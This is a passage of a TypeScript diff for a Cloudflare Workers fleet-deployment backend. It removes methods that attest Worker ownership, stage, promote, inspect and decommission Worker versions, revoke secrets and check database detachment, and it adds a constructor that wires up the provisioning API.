persistedDatabaseId - ? Promise.resolve(persistedDatabaseId) - : this.findDatabase(spec).then((database) => database?.id), - ]); - const digest = deploymentSpecDigest(spec); - const plainText = this.#plainTextBindings(version); - const databaseIds = this.#databaseIds(version); - if ( - !databaseId || - databaseIds.length !== 1 || - databaseIds[0] !== databaseId || - plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - plainText.get('FLEET_SPEC_DIGEST') !== digest - ) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with drifted tenant, environment, specification, or D1 ownership`, - ); - } - for (const deployed of status?.versions ?? []) { - const deployedVersion = await this.#api.viewVersion( - spec.scriptName, - deployed.id, - ); - const deployedPlainText = this.#plainTextBindings(deployedVersion); - const deployedDatabaseIds = this.#databaseIds(deployedVersion); - const deployedDigest = deployedPlainText.get('FLEET_SPEC_DIGEST'); - if ( - deployedDatabaseIds.length !== 1 || - deployedDatabaseIds[0] !== databaseId || - deployedPlainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - deployedPlainText.get('FLEET_ENVIRONMENT') !== spec.environment || - !deployedDigest || - !isSha256(deployedDigest) - ) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with a drifted deployed version`, - ); - } - } - return candidateId; - } - - async #attestPersistedWorkerOwnership( - spec: DeploymentSpec, - databaseId: string, - retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, - activeRelease: ExternalReleaseSnapshot | undefined, - ): Promise { - const allowed = [activeRelease, ...(retainedReleases ?? [])].filter( - (release): release is ExternalReleaseSnapshot => release !== undefined, - ); - if (allowed.length === 0) { - return this.#attestWorkerOwnership(spec, databaseId); - } - const [status, versions] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - ]); - if (!status && (!versions || versions.length === 0)) return undefined; - if (!status || status.versions.length === 0) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' without an attestable current deployment`, - ); - } - const releasesByVersion = new Map( - allowed.map((release) => [release.artifactVersion, release]), - ); - for (const deployed of status.versions) { - const release = releasesByVersion.get(deployed.id); - if (!release) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with a current deployment outside its persisted artifact set`, - ); - } - const version = await this.#api.viewVersion(spec.scriptName, deployed.id); - const plainText = this.#plainTextBindings(version); - const databaseIds = this.#databaseIds(version); - if ( - databaseIds.length !== 1 || - databaseIds[0] !== databaseId || - plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - plainText.get('FLEET_SPEC_DIGEST') !== release.specDigest || - plainText.get('FLEET_SCHEMA_VERSION') !== - String(release.releaseSchemaVersion) - ) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with drifted persisted artifact ownership`, - ); - } - } - return status.versions[0]?.id; - } - - async #attestTeardownWorkerOwnership( - spec: DeploymentSpec, - databaseId: string, - retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, - activeRelease: ExternalReleaseSnapshot | undefined, - ): Promise { - const releases = [activeRelease, ...(retainedReleases ?? [])].filter( - (release): release is ExternalReleaseSnapshot => release !== undefined, - ); - const allowed = releases.filter( - (release) => release.physicalScriptName === spec.scriptName, - ); - if (releases.length > 0 && allowed.length === 0) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' without a matching persisted release`, - ); - } - const [status, versions, footprint, namespaceIds] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#api.listDurableObjectNamespaces(spec.scriptName), - ]); - const listed = versions ?? []; - if (!status && listed.length === 0) { - if ( - footprint.scriptPresent || - footprint.customDomains.length > 0 || - footprint.zoneRoutes.length > 0 || - namespaceIds.length > 0 - ) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with an inconsistent script footprint`, - ); - } - return undefined; - } - if (!status || !footprint.scriptPresent || listed.length === 0) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' without consistent live deployment, version, and provider footprints`, - ); - } - const validInventory = listed.map((version) => { - if (!version.versionId) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with an invalid version inventory`, - ); - } - return { id: version.versionId, tag: version.tag }; - }); - const listedIds = validInventory.map(({ id }) => id); - if (new Set(listedIds).size !== listedIds.length) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with a duplicate version inventory`, - ); - } - type ReleaseIdentity = Readonly<{ - specDigest: string; - releaseSchemaVersion: number; - }>; - const desiredIdentity: ReleaseIdentity = { - specDigest: deploymentSpecDigest(spec), - releaseSchemaVersion: spec.schemaVersion, - }; - const viewedVersions = new Map(); - const remember = ( - id: string, - version: PlainWorkerVersionDetail, - ): PlainWorkerVersionDetail => { - viewedVersions.set(id, version); - return version; - }; - const view = async (id: string): Promise => { - const cached = viewedVersions.get(id); - if (cached !== undefined) return cached; - const version = await this.#api.viewVersion(spec.scriptName, id); - return remember(id, version); - }; - const find = async ( - id: string, - ): Promise => { - const cached = viewedVersions.get(id); - if (cached !== undefined) return cached; - const version = await this.#api.findVersion(spec.scriptName, id); - return version ? remember(id, version) : undefined; - }; - const assertIdentity = ( - version: PlainWorkerVersionDetail, - expectedReleases: readonly ReleaseIdentity[], - ): void => { - const plainText = this.#plainTextBindings(version); - const databaseIds = this.#databaseIds(version); - const release = expectedReleases.find( - (candidate) => - candidate.specDigest === plainText.get('FLEET_SPEC_DIGEST') && - String(candidate.releaseSchemaVersion) === - plainText.get('FLEET_SCHEMA_VERSION'), - ); - if ( - !release || - databaseIds.length !== 1 || - databaseIds[0] !== databaseId || - plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT - ) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' with drifted live teardown ownership`, - ); - } - }; - let anchorId: string | undefined; - if (allowed.length > 0) { - for (const release of allowed) { - const anchor = await find(release.artifactVersion); - if (!anchor) continue; - assertIdentity(anchor, [release]); - anchorId = release.artifactVersion; - break; - } - } else { - const taggedAnchor = validInventory.find( - ({ tag }) => tag === desiredIdentity.specDigest, - ); - if (taggedAnchor) { - assertIdentity(await view(taggedAnchor.id), [desiredIdentity]); - anchorId = taggedAnchor.id; - } - } - if (!anchorId) { - throw new Error( - `refusing to mutate Worker '${spec.scriptName}' without a trusted artifact version anchor`, - ); - } - const expectedReleases: readonly ReleaseIdentity[] = - allowed.length > 0 ? allowed : [desiredIdentity]; - for (const deployed of status.versions) { - assertIdentity(await view(deployed.id), expectedReleases); - } - return status.versions[0]?.id; - } - - async assertDatabaseDetached( - spec: DeploymentSpec, - record: FleetRecord, - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - await this.#assertMutationFence(fence); - if ( - record.backend !== this.kind || - record.tenantTag !== spec.tenantTag || - record.environment !== spec.environment || - record.scriptName !== spec.scriptName || - record.databaseName !== spec.databaseName || - record.databaseId !== database.id || - record.databaseName !== database.name || - record.routeHostname !== spec.routeHostname || - record.desiredSpecDigest !== deploymentSpecDigest(spec) - ) { - throw new Error( - `refusing to attest database detachment for mismatched fleet record '${record.tenantTag}:${record.environment}'`, - ); - } - const databaseAttachments = await this.#api.listWorkerDatabaseAttachments( - database.id, - ); - if (databaseAttachments.length > 0) { - throw new Error( - `database '${record.databaseId}' remains attached to ${databaseAttachments - .map( - (attachment) => - `${attachment.plane} Worker '${attachment.scriptName}'`, - ) - .join(', ')}`, - ); - } - const [status, versions, domains, footprint, namespaceIds] = - await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - this.#api.listCustomDomains(), - this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#api.listDurableObjectNamespaces(spec.scriptName), - ]); - const routeFootprint = domains.filter( - (domain) => - domain.service === spec.scriptName || - domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(), - ); - const hasWranglerVersions = Boolean(versions && versions.length > 0); - if (!status && !hasWranglerVersions && !footprint.scriptPresent) { - if ( - routeFootprint.length > 0 || - footprint.customDomains.length > 0 || - footprint.zoneRoutes.length > 0 || - namespaceIds.length > 0 - ) { - throw new Error( - `database '${record.databaseId}' has a residual route or Durable Object namespace footprint`, - ); - } - await this.#assertMutationFence(fence); - return; - } - if (!status && !hasWranglerVersions && footprint.scriptPresent) { - throw new Error( - `database '${record.databaseId}' has an ordinary Worker footprint that Wrangler cannot attest`, - ); - } - if ((status || hasWranglerVersions) && !footprint.scriptPresent) { - throw new Error( - `database '${record.databaseId}' has inconsistent authoritative and Wrangler Worker footprints`, - ); - } - let ownedWorker: string | undefined; - try { - ownedWorker = await this.#attestWorkerOwnership(spec, record.databaseId); - } catch (cause) { - throw new Error( - `database '${record.databaseId}' has a foreign or mismatched Worker footprint`, - { cause }, - ); - } - if (!ownedWorker) { - const [ - reconciledStatus, - reconciledVersions, - reconciledDomains, - reconciledFootprint, - reconciledNamespaceIds, - ] = await Promise.all([ - this.#deploymentStatus(spec), - this.#listVersions(spec), - this.#api.listCustomDomains(), - this.#api.inspectOrdinaryWorkerFootprint(spec.scriptName), - this.#api.listDurableObjectNamespaces(spec.scriptName), - ]); - const reconciledRoute = reconciledDomains.some( - (domain) => - domain.service === spec.scriptName || - domain.hostname.toLowerCase() === spec.routeHostname.toLowerCase(), - ); - const hasReconciledVersions = Boolean( - reconciledVersions && reconciledVersions.length > 0, - ); - if ( - !reconciledStatus && - !hasReconciledVersions && - !reconciledRoute && - !reconciledFootprint.scriptPresent && - reconciledFootprint.customDomains.length === 0 && - reconciledFootprint.zoneRoutes.length === 0 && - reconciledNamespaceIds.length === 0 - ) { - await this.#assertMutationFence(fence); - return; - } - throw new Error( - `database '${record.databaseId}' detachment changed during attestation`, - ); - } - throw new Error( - `database '${record.databaseId}' remains attached to owned Worker '${spec.scriptName}'`, - ); - } - - async #customDomain( - hostname: string, - ): Promise { - const normalized = hostname.toLowerCase(); - const matches = (await this.#api.listCustomDomains()).filter( - (domain) => domain.hostname.toLowerCase() === normalized, - ); - if (matches.length > 1) { - throw new Error(`custom domain '${hostname}' has duplicate ownership`); - } - return matches[0]; - } - - async #attestPromotionRoute( - spec: DeploymentSpec, - guard: PromotionGuard, - ): Promise { - const current = await this.#customDomain(spec.routeHostname); - if (!current) { - if (!guard.allowUnrouted) { - throw new Error( - `custom domain '${spec.routeHostname}' is unexpectedly absent during promotion`, - ); - } - return undefined; - } - if (!guard.allowedCurrentScriptNames.includes(current.service)) { - throw new Error( - `custom domain '${spec.routeHostname}' is owned by unexpected Worker '${current.service}'`, - ); - } - return current; - } - - async #deployCandidateAtZero( - spec: DeploymentSpec, - candidateId: string, - fence: ExternalMutationFence, - ): Promise { - const current = await this.#deploymentStatus(spec); - if (!current) { - throw new Error( - `existing Worker '${spec.scriptName}' has no active deployment`, - ); - } - if (current.versions.some((version) => version.id === candidateId)) return; - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDeployment( - spec.scriptName, - [ - ...current.versions.map((version) => ({ - versionId: version.id, - percentage: version.percentage, - })), - { versionId: candidateId, percentage: 0 }, - ], - fence, - ); - if (outcome.status === 'failed') { - const reconciled = await this.#deploymentStatus(spec); - if (!reconciled?.versions.some((version) => version.id === candidateId)) { - throw outcome.error; - } - } - } - - #requireMaintenanceDigest( - spec: DeploymentSpec, - maintenance: MaintenanceHealth, - ): void { - const expected = deploymentSpecDigest(spec); - if (maintenance.deploymentSpecDigest !== expected) { - throw new Error( - `maintenance response did not attest fleet specification digest '${expected}'`, - ); - } - } - - async deployWorker( - spec: DeploymentSpec, - database: DatabaseReference, - secrets: DeploymentSecrets, - _platformResources: ExternalPlatformResources | undefined, - fence: ExternalMutationFence, - expectedArtifactVersion?: string, - application?: import('./types.js').ApplicationBindingTopology, - ): Promise<{ artifactVersion: string; created: boolean }> { - if (spec.authoredBy !== 'platform') { - throw new Error('Wrangler loop refuses externally authored Workers'); - } - if ( - spec.durableObjectBindings.some( - (binding) => - binding.scriptName !== undefined || - binding.dispatchNamespace !== undefined, - ) - ) { - throw new Error( - 'Wrangler loop supports only local Durable Object bindings', - ); - } - const deployment = await this.#deploymentStatus(spec); - const versions = await this.#listVersions(spec); - const workerExisted = deployment !== undefined || versions !== undefined; - const priorVersionIds = new Set( - (versions ?? []).map((version) => { - if (!version.versionId) { - throw new Error('wrangler versions list result has no version id'); - } - return version.versionId; - }), - ); - let candidateId = expectedArtifactVersion - ? await this.#expectedCandidate(spec, expectedArtifactVersion, versions) - : undefined; - const pendingDurableObjectMigration = - targetDurableObjectTag(spec) !== spec.previousDurableObjectTag; - if (deployment && pendingDurableObjectMigration) { - throw new Error( - `existing Worker '${spec.scriptName}' has a pending Durable Object lifecycle migration; plain-Worker updates require an immediate/manual migration boundary`, - ); - } - if (deployment) { - await this.#assertExistingWorkerIdentity(spec, database.id, deployment); - } - if ( - candidateId && - deployment?.versions.some((version) => version.id === candidateId) - ) { - return { artifactVersion: candidateId, created: false }; - } - const ingressModule = plainWorkerIngressModule(spec); - const digest = deploymentSpecDigest(spec); - const mode = deployment === undefined ? 'initial' : 'staged'; - let uploadOutcome: PlainWorkerUploadOutcome | undefined; - if (!candidateId) { - this.#assertMutationDuration(fence); - uploadOutcome = await this.#api.uploadCandidate( - { - scriptName: spec.scriptName, - candidateTag: digest, - mainModule: ingressModule.name, - modules: [...spec.modules, ingressModule], - compatibilityDate: spec.compatibilityDate, - compatibilityFlags: spec.compatibilityFlags, - bindings: { - plainText: [ - { name: 'DEPLOYMENT_TENANT', value: spec.tenantTag }, - { name: 'FLEET_ENVIRONMENT', value: spec.environment }, - { - name: 'FLEET_SCHEMA_VERSION', - value: String(spec.schemaVersion), - }, - { name: 'FLEET_SPEC_DIGEST', value: digest }, - { - name: 'FLEET_INGRESS_CONTRACT', - value: PLAIN_INGRESS_CONTRACT, - }, - ...(application?.vars ?? canonicalApplicationBindings(spec).vars), - ], - secrets: [ - { - name: 'DEPLOYMENT_IDENTITY_SECRET', - value: secrets.deploymentIdentity, - }, - { - name: 'MAINTENANCE_ADMIN_SECRET', - value: secrets.maintenanceAdmin, - }, - ...Object.entries(applicationSecretValues(spec, secrets)).map( - ([name, value]) => ({ name, value }), - ), - ], - d1: [ - { - name: 'DB', - databaseName: database.name, - databaseId: database.id, - }, - ], - durableObjects: spec.durableObjectBindings.map((binding) => ({ - name: binding.name, - className: binding.className, - })), - services: spec.egressProxyService - ? [ - { - name: 'EGRESS_PROXY', - service: spec.egressProxyService, - }, - ] - : [], - queueProducers: spec.queueProducer - ? [ - { - name: spec.queueProducer.binding, - queueName: spec.queueProducer.queueName, - }, - ] - : [], - r2Buckets: (application?.r2Buckets ?? []).map((binding) => ({ - name: binding.name, - bucketName: binding.bucketName, - })), - }, - limits: { cpuMs: spec.cpuLimitMs }, - publicAccess: { - workersDevEnabled: true, - previewUrlsEnabled: false, - }, - ...(mode === 'initial' - ? { - mode, - durableObjectMigrations: spec.durableObjectMigrations, - } - : { mode }), - }, - fence, - ); - } - let settled: - | Readonly<{ - ok: true; - result: Readonly<{ artifactVersion: string; created: boolean }>; - }> - | Readonly<{ - ok: false; - error: Readonly<{ - message: string; - cause: unknown; - createdByAttempt: boolean; - resourceState: 'absent' | 'present' | 'unknown'; - }>; - }>; - try { - if (!candidateId) { - const operationCandidates = ( - await this.#matchingCandidateIds(spec) - ).filter((id) => !priorVersionIds.has(id)); - if (operationCandidates.length !== 1) { - if (uploadOutcome?.status === 'failed' && uploadOutcome.error) { - throw uploadOutcome.error; - } - // HEAD parity: a falsy rejection value carries no diagnostic. - throw new Error( - `${mode} Worker upload did not create exactly one new tagged Worker version`, - ); - } - const operationCandidate = operationCandidates[0]; - if (!operationCandidate) { - throw new Error('new Worker candidate has no artifact version'); - } - candidateId = operationCandidate; - } - if (deployment) { - await this.#deployCandidateAtZero(spec, candidateId, fence); - } else { - const initial = await this.#deploymentStatus(spec); - const selected = initial?.versions.find( - (version) => version.id === candidateId, - ); - if (selected?.percentage !== 100) { - throw new Error( - `initial Worker '${spec.scriptName}' did not deploy its tagged version at 100%`, - ); - } - } - settled = { - ok: true, - result: { artifactVersion: candidateId, created: !workerExisted }, - }; - } catch (cause) { - if (workerExisted) { - settled = { - ok: false, - error: { - message: `failed to update existing Worker '${spec.scriptName}'`, - cause, - createdByAttempt: false, - resourceState: 'present', - }, - }; - } else { - const cleanupErrors: unknown[] = []; - const cleanupRelease: ExternalReleaseSnapshot | undefined = candidateId - ? { - physicalScriptName: spec.scriptName, - specDigest: digest, - artifactVersion: candidateId, - releaseSchemaVersion: spec.schemaVersion, - } - : undefined; - let trafficRemoved = false; - try { - await this.removeTraffic( - spec, - undefined, - cleanupRelease, - database, - fence, - ); - await this.assertTrafficRemoved(spec); - trafficRemoved = true; - } catch (cleanupError) { - cleanupErrors.push(cleanupError); - } - if (trafficRemoved) { - try { - await this.revokeCredentials( - spec, - undefined, - cleanupRelease, - database, - fence, - ); - } catch (cleanupError) { - cleanupErrors.push(cleanupError); - } - try { - await this.deleteWorker( - spec, - undefined, - database, - cleanupRelease, - fence, - ); - } catch (cleanupError) { - cleanupErrors.push(cleanupError); - } - } - settled = { - ok: false, - error: - cleanupErrors.length > 0 - ? { - message: `failed to install credentials and clean up '${spec.scriptName}'`, - cause: new AggregateError([cause, ...cleanupErrors]), - createdByAttempt: true, - resourceState: 'unknown', - } - : { - message: `failed to install Worker '${spec.scriptName}'`, - cause, - createdByAttempt: true, - resourceState: 'absent', - }, - }; - } - } - if (!settled.ok) { - const record = settled.error; - const cause = - uploadOutcome?.cleanup.status === 'failed' - ? new AggregateError( - [record.cause, uploadOutcome.cleanup.error], - 'Worker upload and adapter scratch cleanup both failed', - ) - : record.cause; - throw new WorkerDeploymentError({ ...record, cause }); - } - if (uploadOutcome?.cleanup.status === 'failed') { - throw uploadOutcome.cleanup.error; - } - return settled.result; - } - - async promoteWorker( - spec: DeploymentSpec, - guard: PromotionGuard, - _outboundPolicy: DeploymentEgressPolicy | undefined, - fence: ExternalMutationFence, - expectedArtifactVersion?: string, - ): Promise { - if (!expectedArtifactVersion) { - throw new Error( - 'plain Worker promotion requires a persisted artifact version', - ); - } - const candidateId = await this.#expectedCandidate( - spec, - expectedArtifactVersion, - ); - if (!candidateId) { - throw new Error( - `Worker '${spec.scriptName}' has no version for the desired fleet specification`, - ); - } - const current = await this.#deploymentStatus(spec); - if (!current?.versions.some((version) => version.id === candidateId)) { - throw new Error( - `Worker candidate '${candidateId}' is not in the current deployment`, - ); - } - await this.#attestPromotionRoute(spec, guard); - const promoted = - current.versions.length === 1 && - current.versions[0]?.id === candidateId && - current.versions[0].percentage === 100; - if (!promoted) { - this.#assertMutationDuration(fence); - const outcome = await this.#api.createDeployment( - spec.scriptName, - [{ versionId: candidateId, percentage: 100 }], - fence, - ); - if (outcome.status === 'failed') { - const reconciled = await this.#deploymentStatus(spec); - if ( - reconciled?.versions.length !== 1 || - reconciled.versions[0]?.id !== candidateId || - reconciled.versions[0].percentage !== 100 - ) { - throw outcome.error; - } - } - } - const beforeAttach = await this.#attestPromotionRoute(spec, guard); - if (beforeAttach?.service !== spec.scriptName) { - await this.#assertMutationFence(fence); - await this.#api.attachCustomDomain( - { - hostname: spec.routeHostname, - service: spec.scriptName, - }, - fence, - ); - } - const attached = await this.#customDomain(spec.routeHostname); - if (attached?.service !== spec.scriptName) { - throw new Error( - `custom domain '${spec.routeHostname}' did not attest Worker '${spec.scriptName}' after promotion`, - ); - } - } - - async ensureMaintenance( - spec: DeploymentSpec, - maintenanceAdminSecret: string, - fence: ExternalMutationFence, - expectedArtifactVersion?: string, - ): Promise { - if (!expectedArtifactVersion) { - throw new Error( - 'plain Worker maintenance requires a persisted artifact version', - ); - } - const candidateId = await this.#expectedCandidate( - spec, - expectedArtifactVersion, - ); - const current = await this.#deploymentStatus(spec); - if ( - !candidateId || - !current?.versions.some((version) => version.id === candidateId) - ) { - throw new Error('desired Worker candidate is not deployed'); - } - if (this.#maintenanceRequestTimeoutMs >= fence.mutationLeaseTtlMs) { - throw new Error( - 'maintenance request timeout must be below the external mutation fence lease TTL', - ); - } - await this.#assertMutationFence(fence); - const maintenance = await readMaintenanceHealth( - await this.#fetch(maintenanceUrl(spec, '/admin/ensure-maintenance'), { - method: 'POST', - signal: AbortSignal.timeout(this.#maintenanceRequestTimeoutMs), - headers: { - authorization: `Bearer ${maintenanceAdminSecret}`, - 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${candidateId}"`, - }, - }), - ); - this.#requireMaintenanceDigest(spec, maintenance); - return maintenance; - } - - async inspect( - spec: DeploymentSpec, - maintenanceAdminSecret: string, - expectedArtifactVersion?: string, - ): Promise { - const status = await this.#deploymentStatus(spec); - if (!status) return undefined; - const candidateId = expectedArtifactVersion - ? await this.#expectedCandidate(spec, expectedArtifactVersion) - : await this.#findCandidate(spec); - const candidateDeployed = - candidateId !== undefined && - status.versions.some((version) => version.id === candidateId); - const active = status.versions.find((version) => version.percentage > 0); - const artifactVersion = candidateDeployed ? candidateId : active?.id; - if (!artifactVersion) { - throw new Error('wrangler deployment status has no active version'); - } - const version = await this.#api.viewVersion( - spec.scriptName, - artifactVersion, - ); - const databaseIds = this.#databaseIds(version); - const durableObjectBindings = version.bindings.flatMap((binding) => - binding.type === 'durable-object' && - typeof binding.namespaceId === 'string' && - typeof binding.name === 'string' && - typeof binding.className === 'string' - ? [ - { - name: binding.name, - className: binding.className, - namespaceId: binding.namespaceId, - }, - ] - : [], - ); - const serviceBindings = version.bindings.flatMap((binding) => - binding.type === 'service' && - typeof binding.name === 'string' && - typeof binding.service === 'string' - ? [{ name: binding.name, service: binding.service }] - : [], - ); - const queueProducerBindings = version.bindings.flatMap((binding) => - binding.type === 'queue-producer' && - typeof binding.name === 'string' && - typeof binding.queueName === 'string' - ? [{ name: binding.name, queueName: binding.queueName }] - : [], - ); - const r2BucketBindings = version.bindings - .flatMap((binding) => - binding.type === 'r2-bucket' && - typeof binding.name === 'string' && - typeof binding.bucketName === 'string' - ? [ - { - name: binding.name, - bucketName: binding.bucketName, - jurisdiction: 'default' as const, - }, - ] - : [], - ) - .sort((left, right) => left.name.localeCompare(right.name)); - const plainText = this.#plainTextBindings(version); - const expectedServiceBindings = spec.egressProxyService - ? [{ name: 'EGRESS_PROXY', service: spec.egressProxyService }] - : []; - const expectedQueueProducerBindings = spec.queueProducer - ? [ - { - name: spec.queueProducer.binding, - queueName: spec.queueProducer.queueName, - }, - ] - : []; - if ( - databaseIds.length !== 1 || - plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag || - plainText.get('FLEET_ENVIRONMENT') !== spec.environment || - JSON.stringify(serviceBindings) !== - JSON.stringify(expectedServiceBindings) || - JSON.stringify(queueProducerBindings) !== - JSON.stringify(expectedQueueProducerBindings) || - canonicalApplicationBindings(spec).vars.some( - ({ name, value }) => plainText.get(name) !== value, - ) - ) { - throw new Error( - `script '${spec.scriptName}' has a different resource mapping`, - ); - } - const databaseId = databaseIds[0]; - if (!databaseId) throw new Error('D1 binding has no database id'); - const schemaVersion = Number(plainText.get('FLEET_SCHEMA_VERSION')); - const desiredSpecDigest = plainText.get('FLEET_SPEC_DIGEST'); - if ( - !Number.isSafeInteger(schemaVersion) || - !desiredSpecDigest || - !isSha256(desiredSpecDigest) - ) { - throw new Error( - `script '${spec.scriptName}' has no valid schema version`, - ); - } - const versionBindingIdentities = assertSupportedPlainWorkerBindings( - version.bindings, - `plain Worker '${spec.scriptName}'`, - ); - const secretNames = await this.#api.listOrdinaryWorkerSecretNames( - spec.scriptName, - ); - const versionSecretNames = versionBindingIdentities - .filter(({ type }) => type === 'secret_text') - .map(({ name }) => name) - .sort(); - if ( - versionSecretNames.length > 0 && - JSON.stringify(versionSecretNames) !== - JSON.stringify([...secretNames].sort()) - ) { - throw new Error( - `plain Worker '${spec.scriptName}' version and secret inventories disagree`, - ); - } - const providerBindingIdentities = [ - ...versionBindingIdentities.filter(({ type }) => type !== 'secret_text'), - ...secretNames.map((name) => ({ type: 'secret_text', name }) as const), - ].sort((left, right) => - `${left.type}\u0000${left.name}`.localeCompare( - `${right.type}\u0000${right.name}`, - ), - ); - const maintenance = await readMaintenanceHealth( - await this.#fetch(maintenanceUrl(spec, '/admin/maintenance-status'), { - headers: { - authorization: `Bearer ${maintenanceAdminSecret}`, - ...(candidateDeployed - ? { - 'Cloudflare-Workers-Version-Overrides': `${spec.scriptName}="${artifactVersion}"`, - } - : {}), - }, + const { + runner, + routeApi, + exportDirectory, + exportStore, + fetch: fetchImplementation, + maintenanceRequestTimeoutMs, + clock, + } = options; + if (!exportDirectory) throw new Error('exportDirectory is required'); + if (!exportStore) throw new Error('exportStore is required'); + if (!routeApi) throw new Error('routeApi is required'); + const resolvedMaintenanceRequestTimeoutMs = + resolveMaintenanceRequestTimeoutMs(maintenanceRequestTimeoutMs); + super({ + api: new WranglerPlainWorkerProvisioningApi({ + runner, + routeApi, + exportDirectory, + exportStore, }), - ); - if (candidateDeployed) { - this.#requireMaintenanceDigest(spec, maintenance); - } else if ( - maintenance.deploymentSpecDigest !== undefined && - maintenance.deploymentSpecDigest !== desiredSpecDigest - ) { - throw new Error( - `maintenance response does not match inspected Worker version '${artifactVersion}'`, - ); - } - return { - tenantTag: spec.tenantTag, - environment: spec.environment, - scriptName: spec.scriptName, - databaseId, - durableObjectBindings, - serviceBindings, - queueProducerBindings, - plainTextBindings: Object.fromEntries(plainText), - ...(r2BucketBindings.length > 0 ? { r2BucketBindings } : {}), - secretNames, - providerBindingIdentities, - artifactVersion, - desiredSpecDigest, - schemaVersion, - maintenance, - }; - } - - /** - * Attest the version serving traffic, which for an ordinary Worker is the - * one the deployment object holds at 100%. - * - * `inspect()` cannot answer this. Given an expected artifact version it pins - * that candidate even while the candidate sits at 0%, because a converge has - * to compare a staged upload against the specification before promoting it. - * Reusing it here would report an unpromoted candidate as though it were - * live, which is the exact failure this method exists to make impossible. - * - * The read goes through the provider API rather than the wrangler CLI: the - * CLI is outside the shared rate coordinator, so a poll loop driven through - * it would spend account-wide provider quota that nothing is counting. - * - * `physicalScriptName` is the spec's script rather than a value read back - * from the custom domain, because the hostname-to-script binding is already - * enforced on the path that can change it: `promoteWorker` fails unless the - * custom domain attests this exact script after every promotion, and - * `#attestPromotionRoute` refuses a hostname owned by a Worker outside the - * promotion guard. Re-reading the domain here would spend a third provider - * call against the two-read budget this method documents and learn nothing - * those two checks have not already established. - */ - async attestActiveRoute( - spec: DeploymentSpec, - ): Promise { - const active = await this.#api.inspectActiveWorkerRoute(spec.scriptName); - if (!active) { - throw new ActiveRouteAttestationError( - `Worker '${spec.scriptName}' has no deployment serving traffic`, - {}, - ); - } - if (!active.specDigest || !isSha256(active.specDigest)) { - throw new ActiveRouteAttestationError( - `routed version '${active.artifactVersion}' of Worker '${spec.scriptName}' carries no fleet specification digest`, - { - routedScriptName: spec.scriptName, - artifactVersion: active.artifactVersion, - }, - ); - } - return { - specDigest: active.specDigest, - artifactVersion: active.artifactVersion, - physicalScriptName: spec.scriptName, - source: 'workers-deployments', - observedAt: new Date(this.#clock()).toISOString(), - }; - } - - async revokeCredentials( - spec: DeploymentSpec, - retainedReleases: readonly ExternalReleaseSnapshot[] | undefined, - activeRelease: ExternalReleaseSnapshot | undefined, - database: DatabaseReference, - fence: ExternalMutationFence, - ): Promise { - const secretNames = [ - ...new Set( - await this.#api.listOrdinaryWorkerSecretNames(spec.scriptName), - ), - ].sort(); - if (secretNames.length === 0) { - await this.#attestTeardownWorkerOwnership( - spec, - database.id, - retainedReleases, - activeRelease, - ); - } - // Each secret deletion can publish a version, so re-attest before the next - // irreversible mutation instead of treating the inventory as a batch. - for (const secretName of secretNames) { - if ( - !(await this.#attestTeardownWorkerOwnership( - spec, - database.id, - retainedReleases, - activeRelease, - )) - ) { - throw new Error( - `ordinary Worker '${spec.scriptName}' has secrets without an attestable Worker owner`, - ); - } - await this.#api.deleteControlSecrets( - spec.scriptName, - [secretName], - fence, - ); - } - const remaining = await this.#api.listOrdinaryWorkerSecretNames( - spec.scriptName, - ); - if (remaining.length > 0) { - throw new Error( - `ordinary Worker '${spec.scriptName}' failed exact secret revocation`, - ); - } - } - - async forceDecommissionStep( - record: FleetRecord, - step: ForceDecommissionStep, - fence: ExternalMutationFence, - ): Promise { - if (record.backend !== this.kind) { - throw new Error( - `plain Worker backend cannot force-decommission '${record.backend}' resources`, - ); - } - if (step === 'remove-traffic') { - const domains = await this.#api.listCustomDomains(); - for (const domain of domains.filter( - ({ service }) => service === record.scriptName, - )) { - await this.#api.detachCustomDomain(domain.id, fence); - } - const initial = await this.#api.inspectOrdinaryWorkerFootprint( - record.scriptName, - ); - if (initial.scriptPresent) { - await this.#api.disableOrdinaryWorkerPublicAccess( - record.scriptName, - fence, - ); - } - const [footprint, remainingDomains] = await Promise.all([ - this.#api.inspectOrdinaryWorkerFootprint(record.scriptName), - this.#api.listCustomDomains(), - ]); - if ( - footprint.customDomains.length > 0 || - footprint.zoneRoutes.length > 0 || - footprint.workersDevEnabled === true || - footprint.previewUrlsEnabled === true || - remainingDomains.some(({ service }) => service === record.scriptName) - ) { - throw new Error( - `ordinary Worker '${record.scriptName}' retains public ingress after force decommission`, - ); - } - return; - } - if (step === 'revoke-credentials') { - const secretNames = [ - ...new Set( - await this.#api.listOrdinaryWorkerSecretNames(record.scriptName), - ), - ].sort(); - for (const secretName of secretNames) { - await this.#api.deleteControlSecrets( - record.scriptName, - [secretName], - fence, - ); - } - const remaining = await this.#api.listOrdinaryWorkerSecretNames( - record.scriptName, - ); - if 